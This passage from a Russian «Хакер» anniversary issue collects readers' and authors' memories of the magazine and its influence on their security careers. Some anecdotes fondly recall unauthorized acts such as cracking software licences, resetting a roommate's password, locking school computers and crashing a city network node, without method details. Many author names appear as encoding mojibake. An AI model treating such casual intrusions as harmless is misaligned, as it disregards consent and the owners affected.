пакет, в котором я что-то дол го искал, в нем лежали кон спек ты и жур нал
«Хакер». Имен но в тот момент, ког да пре под про ходил воз ле меня, все
содер жимое вывали лось на пол. Пре под уви дел это, под нял жур нал, про- 
бежал гла зами по обложке, взгля нул на меня и мол ча передал его мне. Я,
весь в крас ке, соб рал все с пола и сло жил в одну стоп ку. Ког да был зачет
по это му пред мету (я был не под готов лен), нас всех по одно му приг лашали
за стол. Пре под был очень стро гий, в воз расте. Я пошел в кон це, сел нап- 
ротив него и ска зал, что я не готов. Он вспом нил про тот слу чай, ког да
из пакета вывалил ся жур нал, и начал задавать воп росы о содер жимом это го
жур нала. В ито ге мы с ним минут 15–20 беседо вали о тех нологи ях, о хакерах
и так далее. В кон це он мне пос тавил зачет, со сло вами, что не хотел бы меня
видеть хакером, и пожелал, что бы я доучил ся как сле дует, выпус тился спе- 
циалис том!

NENser

Как-то раз в школь ные годы (конец 90-х) мы с моим дядей оста нови лись
у киос ка с прес сой и он спро сил, купить ли мне что-нибудь. Мой взгляд упал
на жур нал «Хакер», не пом ню уже, что там было на обложке, но я смот рел
на него как заворо жен ный. Я поп росил купить его, на что дядя отве тил: «Нет,
тебе это слиш ком рано» — и купил жур нал CHIP. Как будущий хакер я не мог
сми рить ся с огра ниче ниями, осо бен но каса ющи мися дос тупа к информа ции.
Я пообе щал себе, что обя затель но накоп лю денег и куп лю его сам. Так и про- 
изош ло. Пос тепен но узна вая что-то новое из «Хакера», я искал допол нитель- 
ную информа цию о том, что было в стать ях. Я вырос в этой сфе ре. Мож но
ска зать, что «Хакер» помог мне опре делить ся с про фес сией и любимым
делом, стал для меня глав ным триг гером, который запус тил во мне инте рес
к информа цион ной (без)опас ности. Сей час я работаю пен тесте ром уже
более десяти лет.

Âàäèì

Од нажды уви дел бумаж ный жур нал в киос ке «Рос печати». Обал дел, ког да
узнал, что, ока зыва ется, есть такие люди, которые лома ют сис темы и прог- 
раммы. Поэто му в 2000 году выб рал тог да казав шуюся край не неиз вес тной
спе циаль ность «компь ютер ная безопас ность».

Äìèòðèé

Уви дел инфу про жур нал, почитал статьи, и они пон равились, стал покупать
и кни ги по этой темати ке и, конеч но же, офор мил под писку на год. И потом
прод лил еще на год. В ито ге уже вто рой год явля юсь читате лем «Хакера». Он
помог мне рас ширить зна ния и узнать про новые тех нологии и кни ги.

Âëàäèìèð

«Хакер» впер вые уви дел в ларь ке «Рос печати» в 2000 году. Вдох новили
Tips’n’Tricks, которые мож но было показы вать одноклас сни кам! А так же более
слож ные статьи про реверс железа, под бор SQL-инъ екций и так далее.
Из «Хакера» я получил обзорные зна ния обо всех IT-тех нологи ях, получил
ком плексное видение от пай ки элек тро ники и про шив ки кон трол леров
до работы про токо лов высоко го уров ня. Но глав ное — это вдох новение
и чувс тво сво боды начала двух тысяч ных. Была клас сная акция: при неси нам
бутыл ку или бан ку чего-то и получи жур нал! Мы с дру гом при еха ли из дру гого
города в Мос кву ради такого, сфо тог рафиро вались с глав ным редак тором
и получи ли жур налы с автогра фами!

Àëåêñàíäð Äìèòðèåâ

«Хакер» был мод ным и популяр ным жур налом в кон це девянос тых. Он
в какой-то сте пени опре делял моду пос ле жур нала Ptюч. По инс трук циям жур- 
нала мне уда лось починить нас трой ки монито ра, который пос ле перехо да
в спя щий режим почему-то откры вал ся в чудовищ ном раз решении. В шко ле я
катего ричес ки не любил читать. За все вре мя уче бы я едва про читал десяток
книг, а часть из них по сок ращен ным сбор никам. Но, пос тупив в матема тичес- 
кую шко лу, я увлекся прог рамми рова нием, и мне ста ло инте рес но всё
про компь юте ры. Тог да-то я и стал читать жур нал. Читал его от пер вой до пос- 
ледней полосы, каж дый месяц успе вая закон чить номер еще до выхода сле- 
дующе го. Потом добави лись книж ки по прог рамми рова нию. Пос ле по эко- 
номи ке, пси холо гии, исто рии, нон-фик шен и мно жес тво про изве дений
художес твен ной литера туры. Но точ но пом ню, что чте ние в мою жизнь приш ло
с жур налом «Хакер».

Ìèðàæ

На этой работе, где я сей час тру жусь, ока зались жур налы еще 2000-х годов.
«Хакер», ока зыва ется, здесь рань ше выписы вали. Так я стал обла дате лем
некото рых даже не вскры тых копий жур налов с дис ками.

Но вос ти Xakep.ru о най ден ных уяз вимос тях всег да дер жали в кур се. Осо- 
бен но в пери од «не-Пети», WannaCry и EternalBlue. К тому же они зас тавля ют
раз бирать ся в про токо лах и дру гих экс плу ати руемых на этот момент объ- 
ектах. Ломали нас как-то через RDP и пос ле шиф ровали (в то вре мя ском про- 
мети рован ный сер вер еще не был в моем ведоме). Пись мо, оставлен ное
хакером, у меня до сих пор лежит. Видел исто рии, как люди (еще молодые)
попада лись на соци аль ную инже нерию, в этом слу чае урок сто ил все- 
го 50 тысяч руб лей. И более 100 тысяч на покуп ку обо рудо вания, которое так
и лежит.

Ñòàíèñëàâ

«Хакер» пог рузил меня в мир инте рес ного. Мно го при меров из жур нала испы- 
тыва лось в локаль ной сети города! Ронял ся город ской узел свя зи... Я стал
одним из извес тных компь ютер щиков города.

Ïàâåë

22 года назад у меня появил ся пер вый компь ютер, мне тог да было 16 лет.
Понача лу был инте рес толь ко к играм, но через пол года уже было инте рес но,
как это все работа ет. Прав да, в свя зи с отсутс тви ем интерне та и книг в нашем
малень ком город ке мои воп росы так и оста вались без отве та. Но как-то чис то
слу чай но зашел в отде ление Поч ты Рос сии и уви дел, что у них мож но выписы- 
вать жур налы. Собс твен но, там я и уви дел жур нал «Хакер» (на то вре мя
«Спец» еще не было, хотя он мне пон равил ся боль ше, там было боль ше
полез ной информа ции), на тот момент я как раз толь ко начал получать сти- 
пен дию. Хакер помог нап равить меня в нуж ном нап равле нии. Я узнал
о сущес тво вании ассем бле ра, прог рамм Hiew, OllyDbg, и это помог ло мне
«вылечить» некото рые прог раммы... :) Еще пом ню, как делал bat-фай лы
для авто мати зации, ну и под шучивал над друзь ями. Это ког да я узнал
о сущес тво вании реес тра и о том, что мож но бло киро вать кноп ку «Пуск», дис- 
петчер задач и дру гие эле мен ты. И тут мне в голову приш ла шуточ ная прог- 
рамма, которая бло киру ет «Пуск» и откры вает окна с шуточ ным тек стом и дви- 
гающей ся кноп кой «Зак рыть». На тот момент я толь ко начинал изу чать ассем- 
блер, но где-то через год у меня что-то такое получи лось. Прав да, потом
из-за нех ватки вре мени изу чение ассем бле ра и отладчи ков заб росил, о чем
сей час силь но жалею.

Ðîìàí

«Хакер» мне помог не спить ся и не снар команить ся в начале нулевых. Я очень
силь но увлекся компь юте рами, ког да учил ся в стар ших клас сах. Навер ное,
самый угар ный факт, что жур нал я брал в обыч ной школь ной (лицей ской) биб- 
лиоте ке на фор муляр, и даже дис ки к жур налу мож но было взять — прод- 
винутое заведе ние. Интерне та у меня тог да не было, прог рам мки и клю чи
на AVP брал с дис ков, пытал ся прог рамми ровать по руб рике «Кодинг» и даже
хак нул лицен зию WinRAR по одной из ста тей. В то вре мя жур нал
еще называл ся «Жур нал компь ютер ных хулига нов», это потом добави ли «от».
Ну а самая кру тая руб рика была «Хумор» со стать ями Величай шего Гуманис та
всех вре мен и народов Дани ила Шапова лова. Это прос то шедев ры. Игры
серии «Ядер ный тит бит» — это прос то апо гей кибер куль туры нулевых. Всем ]
[!

FiReMaN

Уви дел вто рой номер в «Союз печати», даль ше всё как в тумане. Жур нал очень
силь но пов лиял на мой неок репший под рос тко вый мозг. Появ ление жур нала
ста ло прос то куль тур ным взры вом уров ня начала вещания MTV, и нес коль ко
лет я раз говари вал в основном фра зами из жур нала. Конеч но, это не мог ло
не пов лиять на выбор спе циаль нос ти в вузе и пос леду ющей «око локомпь- 
ютер ной» работы, которой я фак тичес ки занима юсь по сей день. 
Ин терес ных исто рий, свя зан ных с жур налом, есть нес коль ко. К при меру,
в одном из номеров Даня в сво ей руб рике «Хумор» объ явил кон курс на стиш- 
ки про малень кого хакера. Конеч но же, я, как пре дан ный читатель, с удо воль- 
стви ем поучас тво вал. И каково же было мое удив ление, ког да, открыв номер
#02/00, я обна ружил в нем свои про изве дения! В то вре мя для меня это был
прос то супер повод для гор дости и источник рес пекта моих дру зей-гиков.
Этот береж но сох ранен ный номер сей час лежит передо мной вмес те с дву мя
пер фокар тами, на которых я накидал те самые стиш ки.

Àëåêñåé

Мне нуж на была информа ция по осо бен ностям жур налиро вания в кон крет- 
ном экзем пля ре Linux. Нуж ная статья наш лась, и с тех пор я пос тоян ный
читатель.

Êñåíèÿ

Ин тересо валась информа тикой в кон це девянос тых. Уви дела в про даже
«Хакер» и начала при обре тать печат ные вер сии. В нем было мно го полез ной
и инте рес ной информа ции. У меня есть поч ти вся печат ная вер сия «Хакера».
Ког да жур налы впер вые уви дели друзья, то испу гались, подума ли, что я
взлом щик. Приш лось объ яснить, что хакер — это мно гоз нающий человек,
а жур налы приш лось спря тать подаль ше от непони мающих глаз.

Àëåêñåé

Бла года ря «Хакеру» я научил ся кодить. Читал Даню Шапова лова из жур нала
девуш ке вслух, и она меня бро сила...

Ðîìàí

Ро дите ли дру га дер жали книж ный магазин. Иног да помогал им на скла де,
и мне поз волялось брать что-нибудь почитать. Обыч но это была фан тасти ка,
но тут я нат кнул ся на это изда ние и зачитал ся до поз дней ночи, но поч ти
ничего не понял. В ито ге я их выкупил, перечи тывал и пытал ся все боль ше
понять. Потом я уже покупал себе все выпус ки и, узна вая по ним что-то новое,
перечи тывал пре дыду щие статьи и понимал все боль ше. Изда ния с дис ками
для даль них реги онов нашей Родины тоже офи ген но полез ны были! Видео
по хакин гу тоже было топ. На этом всем я про качал ся в зна нии nix-like-сис тем.
До сих пор хра ню все бумаж ные изда ния и CD/DVD, которые уже и вста- 
вить-то дома некуда!

Åâãåíèé

Труд но пере оце нить вклад жур нала «Хакер» в фор мирова ние того, что сей час
называ ют «оте чес твен ная ИБ». Пожалуй, ни одно го из зна чимых людей нашей
сфе ры не обо шел тот стран ный эффект, который уда лось соз дать жур налу.

Еще с начала двух тысяч ных это было что-то осо бен ное. Были «Кса кеп» (мы
так меж ду собой называ ли, было мод но) и все осталь ные. Популяр ность жур- 
нала прос то заш калива ла, и отрадно, что и 25 лет спус тя, — «Хакер» все
еще один из важ ней ших стол пов СМИ в нашей отрасли.

Сей час все при вык ли получать кон тент, новос ти, «смеш ное» из интерне та,
агре гато ров или мес сен дже ров, а рань ше все жда ли новый выпуск, менялись
дис ками, обсужда ли тех ничес кие статьи, в которых еще не всё понима ли,
и хихика ли над очень спе цифич ным и необыч ным юмо ром Дани Шепова лова.
Всё кру тилось вок руг жур нала. Такое не пов торить, это и есть «эффект жур- 
нала “Хакер”». Сей час я понимаю, что это во мно гом и опре дели ло мой выбор
про фес сии. Спа сибо, «Хакер»!

Ïðîäîëæåíèå ñëåäóåò
Ес ли тоже хочешь оста вить отзыв, ! Так же мы готовим ся опуб- 
ликовать вос помина ния авто ров и редак торов «Хакера».

при соди няй ся

https://xakep.ru/issues/xa/232/
https://t.me/addstickers/xakepstix
https://xakep.ru/wp-admin/users.php?page=paywall_subscribes
https://xakep.ru/corporate/
https://docs.google.com/forms/d/e/1FAIpQLSdNyw66xRD1DIDB4ZLFdSmE1P5ZrJarNg3StYJ7ACGnZ21Zuw/viewform


COVERSTORY

В честь того, что «Хакеру» в этом году исполня ется 25 лет,
мы пуб лику ем серию ста тей с вос помина ниями о жур нале
и рас ска зами о том, какую роль он сыг рал в нашей жиз ни
и карь ере.  мы дали сло во нашим любимым
читате лям, а теперь нас тал черед авто ров «Хакера» нем ного
понос таль гировать.

В прош лый раз

MichelleVermishelle
Ïåíòåñòåð â ÌÒÑ

Мне дав но хотелось тво рить, что-то соз давать, вно сить свой вклад
в ИБ-комь юни ти. «Хакер» — это имен но та пло щад ка, которую чита ют все ува- 
жающие себя спе циалис ты. Имен но «Хакер» поз волил най ти новое комь юни- 
ти, открыть для себя инте рес ных авто ров, научить ся трю кам и кру тым тех- 
никам, которые не раз выруча ли на слож ных про ектах. Очень необыч но при- 
ходить на раз ные ИБ-тусов ки, зна комить ся с новыми людь ми, а они тебя уже
зна ют: «А, это ты тот чувак из „Хакера“?»

solkogan
Ïðîãðàììèñò, ôðèëàíñåð

Бу маж ные номера «Хакера» мотиви рова ли меня в детс тве. Пом ню, как писал
локеры экра на, которые выводи ли на все школь ные компь юте ры фото нашего
клас са, а потом меня вызыва ли к дирек тору, что бы я их уда лил. Я очень инте- 
ресо вал ся темой компь ютер ных вирусов и бла года ря это му осво ил прог- 
рамми рова ние. В ито ге это опре дели ло мою даль нейшую про фес сию.

Âèêòîð Ïàïåðíî
Backend-ðàçðàáîò÷èê

Ког да-то я учил ся в 11-м клас се и написал пер вую статью на Хабр про iOS
и Python. Она прош ла через редак торов, я очень гор дился, что ее опуб- 
ликова ли, и тут мне в ЛС пишет Женя Зоб нин с пред ложени ем написать
статью. Я пом ню, как я дро жащей рукой набирал пер вое пись мо. А потом
выш ла статья, еще в бумаж ной вер сии жур нала, и я ездил за ним и за гонора- 
ром. До сих пор жур нал лежит, и я пери оди чес ки им хвас таюсь!

Þðèé Äðóãà÷
Ìåòîäîëîã ïî ïîâûøåíèþ îñâåäîìëåííîñòè â StopPhish

Жур нал «Хакер» опре делил мои инте ресы и мою деятель ность — то, чем я
занима юсь пос ледние пят надцать лет. Ког да я жил в Вор куте, у меня еще не
было интерне та и я про читал свой пер вый «Хакер», мне показа лось, что
«обход сис темы» — это очень инте рес ная область. Пос ле это го я не про пус- 
тил ни одно го выпус ка жур нала. Я до сих пор не «тех нарь», и, если бы Крис
Кас пер ски про дол жал писать статьи, я бы все так же ничего не понимал,
но было бы все так же инте рес но!

За то гумани тар ная часть хакерс тва меня всег да зах ватыва ла: соци аль ная
инже нерия, фишинг и вот это вот все. В ито ге в 2017 году мы с друзь ями
откры ли свою ком панию и твер до вста ли на свет лую сто рону в этой бес конеч- 
ной игре — хакер про тив безопас ника. Пока что более инте рес ной деятель- 
нос ти для себя я не вижу. Так что точ но мож но ска зать, что «Хакер» помог мне
в жиз ни: теперь я занима юсь любимым делом. Кста ти, ког да я опуб ликовал
в «Хакере» свою пер вую статью, меня тут же взло мали. Все мои пароли
в веб-сер висах были циф ровыми, и через пару часов кто-то угнал мою учет ку
при помощи сли той базы паролей. Вый дя на «зло умыш ленни ка», я понял, что
меня взло мал сот рудник топовой пен тестер ской ком пании в РФ. Спа сибо
тебе, Илья, приш лось разоб рать ся, что такое слож ный пароль и 2FA!

Hackcat
Èíæåíåð òåñòèðîâàíèÿ áåçîïàñíîñòè â EPAM

Мне не приш лось про ходить ни одно го серь езно го собесе дова ния, ког да
работо датель узна вал, что я пишу в «Хакер». А в уни вер ситете это осво боди- 
ло меня от сда чи некото рых пред метов, сдать которые у меня вооб ще
не было шан сов. Пер вую работу я получил тоже исклю читель но бла года ря
«Хакеру»: работо датель, ока зыва ется, активно читал жур нал и, ког да узнал,
что я туда пишу, ска зал, что я при нят.

Âàëåðèé Ëèíüêîâ
Ãåíåðàëüíûé äèðåêòîð ÎÎÎ «Íåïðàâèëüíàÿ øêîëà»

«Хакер» был со мной на про тяже нии все го моего IT-пути. Увле кать ся хакерс- 
твом я начал еще школь ником, и зна комс тво пош ло с двух жур налов: «ПК
прос то», в котором были базовые зна ния о ПК, и «Хакера», уро вень которо го
мне тог да казал ся недося гаемым. Как-то раз я общался с дру гом, и мы
задума лись, что хотели бы быть игро выми жур налис тами.

В то вре мя был популя рен жур нал «Игро мания». Мы пред став ляли,
как будем писать статьи про игры и получать за это день ги (тог да не было
стри мов). Как-то раз я услы шал мысль «Не делай из хоб би работу», и идея
стать игро вым жур налис том у меня отпа ла. Я стал сетеви ком и прог раммис- 
том. Со вре менем стал делить ся мыс лями и дошел до жур нала «Хакер».
Теперь я смог ска зать, что моя работа прев ратилась в хоб би, которое при- 
носит и день ги, и удо воль ствие. В этом мне помог «Хакер» в целом и Андрей
Пись мен ный в час тнос ти. Мы вмес те прев ратили мой набор мыс лей в клас- 
сную статью. Это был незабы ваемый опыт!

Soxoj
Ãëàâà OSINT CoE, Social Links

Ре дак торы так пос пешили опуб ликовать мою пер вую статью, что запос тили
ее с моим име нем из поч ты, про игно риро вав про филь на сай те, где был ука- 
зан ник нейм. Статья раз летелась по всем темати чес ким телег рам-каналам,
так что, ког да в статье имя испра вили на ник, было уже поз дно — «Хакер»
меня сде ано нил!

s0i37
Âåäóùèé ñïåöèàëèñò ïî àíàëèçó çàùèùåííîñòè â ÓÖÑÁ

«Хакер» поч ти всю соз натель ную жизнь был со мной... Компь ютер у меня
появил ся доволь но рано — в 1999 году. Я тог да был еще малень кий и вос- 
при нимал его исклю читель но как игрушку. А вот мои родите ли заин тересо- 
вались компь юте ром куда серь езнее меня, начали изу чать его, покупать раз- 
личную литера туру.

С тех самых пор жур нал «Хакер» начал появ лять ся в нашем доме регуляр- 
но. Шли годы, и я пос тепен но тоже начал инте ресо вать ся этим необыч ным
жур налом, со сме лыми, кре атив ными, а порой и хулиган ски ми обложка ми
и про вока цион ными темами. Приш ло вре мя пос тупать в вуз, и выбор пал
на ИТ-сфе ру, тог да еще не такую популяр ную. Затем я пошел работать обыч- 
ным адми ном и прог раммис том. Сло вом, ничего инте рес ного.

Но отпе чаток, оставлен ный «Хакером» в детс тве, давал о себе знать.
Тянуло изу чать все вок руг и делать вещи, которые кол леги тог да называ ли
стран ными, а я бы сей час наз вал хулиганс твом. И вот при шел момент менять
работу. И тут жур нал «Хакер» пов лиял на мою судь бу реша ющим обра зом,
под тол кнув сде лать выбор меж ду вакан сией Python-прог раммис та и пен- 
тесте ра в поль зу пос ледне го.

Сей час для меня жур нал «Хакер» — это вот такая кол лекция.

27 килог раммов чис тых зна ний! Даже спус тя годы на его уже пос тарев ших
стра ницах мож но обна ружить уни каль ные, порою забытые вещи.

Íèêèòà Êîëìîãîðîâ
CTO â Big Whale Labs Inc.

В шер стис тые нулевые «Хакер» при вил мне тягу ко все му свя зан ному с компь- 
юте рами! Я читал и читал бес конеч ные статьи, не понимая и полови ны слов.
Ког да был школь ником, нап ротив моей 23-й шко лы в Ниж невар тов ске был
магазин «Радуга» с киос ком со вся кой печатью и компь ютер ными игра ми. Я
мог часами пос ле уро ков (осо бен но ког да на ули це было под минус 30)
читать опи сания и рас смат ривать скрин шоты и опи сания виде оигр на дис ках.
Одна ко каж дый раз ухо дил я с новым номером «Хакера» и вмес то муль тиков
пос ле шко лы читал статьи.

Àëåêñåé Ñîììåð
Lead Software Engineer â Capgemini

Как-то лет двад цать назад я написал свой пер вый матери ал и отпра вил его
в раз ные изда тель ства. Получил пред ложение от одно го из них, но в ито ге
в пуб ликации мне отка зали. Баналь но не смог выжать боль ше 40 стра ниц
из темы HTML/CSS. Как сей час пом ню, я был пло хим маль чиком и пред лагал
не сле довать стан дартам, а исполь зовать то, что под держи вает ся все ми бра- 
узе рами. Тог да я раз местил свою статью на каком-то сай те с наз вани ем,
похожим на «Хакер», но вряд ли это был Xakep.ru.

icoz
 

Еще в двух тысяч ных я изу чал мир ассем бле ра, кря ков и про чих хакер ских тех- 
ник имен но по матери алам «Хакера». Про бовал что-то из ста тей сам. Статьи
рас ширяли кру гозор: давали зна ния по устрой ству не толь ко ком па, но и
сетей, БД и про чего... Некото рыми зна ниями поль зуюсь до сих пор! В кон це
нулевых была шикар ная руб рика с голово лом ками от Скля рова. Я даже как-то
раз занял при зовое мес то. Но приз так и не получил. Свя зывал ся нес коль ко
раз по элек трон ной поч те, записы вали адрес и говори ли, что вот-вот офор- 
мят под писку (по обыч ной поч те!) и приш лют какой-то пре зент. Но за пол года
так ничего и не слу чилось. Было так обид но, что бро сил покупать жур нал (да
и кон тент стал не слиш ком интеллек туаль ным) и не читал его нес коль ко лет.

А потом, лет десять спус тя, сно ва нат кнул ся на «Хакер», но уже новый —
толь ко в элек трон ном виде, на сай те, с новыми матери ала ми, содер жащими
что-то све жее, а не пять раз перепи сан ное все ми из одно го угла интерне та
в дру гой. Под писал ся сно ва! Регуляр но читаю статьи и нахожу что-то новое
для себя — под держи ваю себя в фор ме. Спа сибо, так дер жать!

Ìàðê Êëèíòîâ
Ñïåöèàëèñò ïî îáíàðóæåíèþ êîìïüþòåðíûõ óãðîç è èíöèäåíòîâ â ÎÎÎ «ÑÈÃÌÀ»

«Хакер» стал осно вой для моего карь ерно го рос та. Без него мои зна ния
и успе хи оста вались бы в тени. Я пом ню свою пер вую статью, которая очень
дол го жда ла редак туры. Это был рас сказ о моем пер вом качес твен ном про- 
екте на GitHub, и инфой об этом тво рении я хотел поделить ся с дру гими.
Навыков в написа нии ста тей у меня тог да было не так мно го, и при ходи лось
подс тра ивать ся под нор мы, при нятые в «Хакере». Дол гое и мучитель ное ожи- 
дание вмес те с кро пот ливой работой над стать ей прев ратились в яркое
ликова ние, ког да я уви дел свое твор чес тво в этом леген дарном жур нале. Я
счас тлив, что мне уда лось оста вить свой след здесь, а глав ное — хочу ска- 
зать спа сибо тер пеливым и опыт ным редак торам!

DrieVlad
Ñïåöèàëèñò ïî àíàëèçó çàùèùåííîñòè â ÓÖÑÁ

О жур нале «Хакер» я знаю не так уж дав но, при мер но с 2020 года. В это вре- 
мя я как раз учил ся в уни вере и задумы вал ся о будущей про фес сии. Я писал
кур совую по близ кой к пен тесту теме, и на «Хакере» ока зал ся очень год ный
матери ал об этом. Тог да я даже подумать не мог, что через какое-то вре мя
мой матери ал там тоже опуб лику ют. Но прош ло вре мя, я начал работать, поз- 
накомил ся с . Он рас ска зал мне, что любой человек может пред ложить
свой матери ал для пуб ликации. Я решил ся и написал. Одна из инте рес ных
исто рий свя зана с моей поез дкой в Казах стан на кон ферен цию. Там я поз- 
накомил ся с мес тны ми ребята ми и на удив ление узнал, что «Хакер» в Казах- 
ста не заб локиро ван. Но при этом они умуд ряют ся находить матери алы
и читать их. Они ска зали мне, что учи лись делать NTLM Relay по моим стать- 
ям, — меня очень силь но это вооду шеви ло, так я понял, что все это было
не бес полез но.

@s0i37

Âèòàëèé Åâñèêîâ
Ñîîñíîâàòåëü Inseca, IT-ýêñïåðò

Статьи в «Хакере» были моим пер вым опы том пуб ликации. Вдох новив шись
положи тель ными отзы вами, я год назад написал свой курс по теме Threat
Intelligence.
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Âëàäèìèð Òèìîôååâ

Âëàäåëåö IT-êîìïàíèè android-tools.ru

Ког да-то очень дав но я про читал в «Хакере» статью о заработ ке на мобиль- 
ных при ложе ниях. Мно го лет откла дывал эту идею и сей час жалею толь ко
о том, что сра зу не бро сил ся в омут раз работ ки. При куп мне тог да ска зали,
но я не захотел пере езжать в Сочи. Сей час у меня своя ком пания, которая
занима ется имен но этим, но на заре рын ка мож но было очень быс тро соб- 
рать все слив ки. Тог да заработ ки были в разы боль ше, чем сей час. Труд но
най ти дру гой источник такой же полез ной информа ции, как жур нал «Хакер».

Èãîðü Àíòîíîâ

Òèìëèä â «Òèíüêîôô»

С жур нала «Хакер» начал ся мой путь в IT. Пер вый номер (еще бумаж ный) взял
почитать у при яте ля в 2000 году. Тог да я мало что понял из про читан ного,
но мне пон равилась атмосфе ра. Мно го непонят ного и инте рес ного, име на
людей скры ты за никами, свой сленг, при коль ные иллюс тра ции. Все это про- 
изво дило какое-то нере аль ное впе чат ление. С тех пор я стал пос тоян ным
читате лем и меч тал ког да-нибудь стать и авто ром (и получить тот самый ящик
@real.xakep.ru). «Хакер» меня заразил иде ей пос тоян но в чем-то раз бирать ся,
про качи вать новые навыки и искать отве ты.

Прог рамми ровать я тоже начал бла года ря жур налу «Хакер». В июль ском
номере за 2001 год выш ла пер вая ввод ная статья по Delphi. Для меня она
ста ла точ кой стар та. Сле дом пош ли кни ги и экспе римен ты. Свои пер вые
день ги на прог рамми рова нии получи лось зарабо тать еще в шко ле. В общем,
«Хакер» помог най ти хоб би, которое перерос ло в про фес сию. А в 2006 году
и мои статьи ста ли частью жур нала. Я тог да учил ся на вто ром кур се, и мне
безум но хотелось устро ить ся на работу раз работ чиком. Хотелось соз давать
ком мерчес кий софт и качать навыки. Тог да най ти работу имен но прог- 
раммис том в моем городе было слож но. Ком пании охот но бра ли сту ден тов
тех ничес ких вузов, а вот с гумани тари ями ник то свя зывать ся не хотел. Отку да
у гумани тария нуж ные навыки? Меня отфутбо лили в нес коль ких ком пани ях.
Не помог и дип лом с при зовым мес том кра евой олим пиады по прог рамми- 
рова нию (эта исто рия тоже свя зана с жур налом).

Тог да я решил, что нуж но под кре пить свои зна ния более серь езны ми аргу- 
мен тами. Пазл сошел ся, ког да выш ли мои пер вые статьи в «Хакере». На одно
из собесе дова ний я при шел пря мо с номером, где были мои пуб ликации.
Это выз вало неболь шой «вау-эффект», и меня в ито ге допус тили до тех ничес- 
кой сек ции собесе дова ния, которую я про шел. Вот так я получил пер вую
работу прог раммис том, а жур нал стал для меня воз можностью поделить ся
сво ими наход ками и опы том. С тех пор я регуляр но пуб ликовал ся и в
«Хакере», и в жур нале «IT Спец». Чудес ное было вре мя!

cyberopus

Ïåíòåñòåð

«Хакер» помог мне стать пен тесте ром и най ти любимую работу.

Èâàí Ïèñêóíîâ

Ëèä êîìàíäû DevSecOps â «Ì.Âèäåî-Ýëüäîðàäî»

«Хакер» — это леген да! «Хакер» — это часть моей жиз ни! В кон це двух тысяч- 
ных, ког да мое обу чение на спе ца ИБ в уни вер ситете под ходило к кон цу,
на воп рос «А вы будете нам рас ска зывать, как взла мывать Linux?» я услы шал
от пре пода фра зу «Я — нет! Я обу чаю вас адми нис три ровать Linux. А как его
взла мывать, читай те-ка сами в жур нале „Хакер“!». А в 2016 году я пере ехал
в Мос кву, искал работу в ИБ и обра тил ся в редак цию жур нала с пред ложени- 
ем о кол лабора ции.

Тог да я был скром ный парень, который рвал ся наверх и хотел заявить
о себе. У меня уже был опыт написа ния ака деми чес ких ста тей, два обра зова- 
ния (ИБ и бухучет) и нес коль ко лет пре пода вания на кур сах ИТ. И так сло- 
жилось, что у меня за пле чами уже была прак тика ревер са. Я пред ложил цикл
ста тей по ревер су мал вари, и с это го началось мое вос хожде ние. Поз же
«Хакер» помог мне в прод вижении лич ного брен да, мой Telegram-канал
W2hack начал напол нять ся новыми под писчи ками, при ходив шими с Xakep.ru.
Еще поз же я выпус тил новый цикл по циф ровой форен зике.

Я и сам мно гое узна вал имен но со стра ниц «Хакера». Сегод ня «Хакер» —
это авто ритет ней шее изда ние не толь ко в РФ, но и в СНГ, круп ней ший и глав- 
ный про филь ный жур нал по теме кибер беза в рус ско языч ном сег менте сети.
Сегод ня я дер жу «Хакер» в избран ных зак ладках и гор жусь тем, что мно го лет
был активным авто ром! Искрен не бла года рю всю коман ду «Хакера» за то, что
ког да-то повери ли в меня, дали этот шанс и поз волили реали зовать себя!

Äìèòðèé Áóáíîâ

MikroTik-íèíäçÿ, DevSecOps

Жур нал всег да под талки вал меня к изу чению нового и рас ширял горизон ты.
Началось все с того, что я про читал куп ленный в склад чину с соседя ми
по обща ге выпуск от кор ки до кор ки — и ничего не понял. Про читал
еще раз — ста ло чуть луч ше. На пятый раз уже что-то понял. Впро чем, тог да
у меня и компь юте ра-то не было: единс твен ный комп был у соседа по ком- 
нате, а пароль он не говорил. Ког да сосед уез жал на выход ные к родите лям,
был уве рен, что ком пом ник то не поль зует ся. Но он не знал, что в «Хакере»
были статьи о том, как сбро сить пароль! Спус тя годы я дорос до того, что бы
пуб ликовать в любимом жур нале свои статьи, и обна ружил, что все те авто ры,
которы ми я вос хищал ся, на самом деле обыч ные люди — такие же, как я. Рад,
что жур нал обрел вто рую жизнь в интерне те. Спа сибо всем, кто при ложил
к это му руку. Андрей, ты подарил всем нам вто рую молодость!

Âÿ÷åñëàâ Ìîñêâèí

 

Ког да мне было лет две над цать-три над цать, я поехал c родите лями на книж- 
ную ярмарку. Там про дава лось мно го дешевых кан цто варов и дру гих вещей,
необ ходимых для шко лы. И там я впер вые уви дел жур нал «Хакер»: новые
выпус ки и стоп ки ста рых, которые мож но было купить за 50 руб лей, а час то
еще дешев ле. Я накупил штук пять и читал дома запо ем. Одна из пер вых ста- 
тей, которые я про читал, была про взлом сай та ЕГЭ. Было непонят но,
но очень инте рес но. Имен но так у меня зароди лась идея стать хакером.
И спус тя мно го лет я все-таки им стал, за что бла года рен жур налу.

Dok2d

 

Бла года ря «Хакеру» я узнал про сущес тво вание DEFCON, а пос ле даже стал
орга низа тором DEFCON-груп пы. Как-то по стать ям из «Хакера» я сде лал
квест, который пыталась решить вся редак ция того же «Хакера» с Иль ей
Русане ном во гла ве. И было очень иро нич но, что не смог ли прой ти!

W0lFreaK

Íåçàâèñèìûé èññëåäîâàòåëü

Боль шое количес тво прак тичес ки цен ных ста тей «Хакера» помога ло в раз ных
про ектах.

AFANX

Ðåâåðñ-èíæåíåð ëàáîðàòîðèè AP Security

Ког да мне было три над цать лет, мой дядя дал мне почитать тех ничес кие жур- 
налы: Linux Format и «Хакер». Вот так я поз накомил ся с ним! Мне нра вит ся его
читать, потому что статьи хорошие и информа тив ные, я ста раюсь писать
такие же. Для меня на пер вом мес те делить ся сво ими наход ками и зна ниями
с людь ми. Имен но в «Хакере» я впер вые поз накомил ся с работа ми Кри са
Кас пер ски.

Caster

Íåçàâèñèìûé èññëåäîâàòåëü, ñïåöèàëèñò ïî áåçîïàñíîñòè ñåòåé

Впер вые я узнал о «Хакере» бла года ря статье  « ». Жур- 
нал стал для меня хорошей воз можностью про демонс три ровать свои иссле- 
дова ния и статьи по безопас ности сетей. У меня очень мно го теп лых вос- 
помина ний, свя зан ных с редак цией жур нала. Я хотел бы выразить свою бла- 
годар ность Андрею Пись мен ному, с которым я уже два года работаю
над стать ями. Андрей всег да под держи вал мои необыч ные идеи и помогал
реали зовать их в рам ках фор мата жур нала, боль шое ему спа сибо за это, что
всег да шел навс тре чу. «Хакер» — часть моей исто рии как авто ра ста тей, пусть
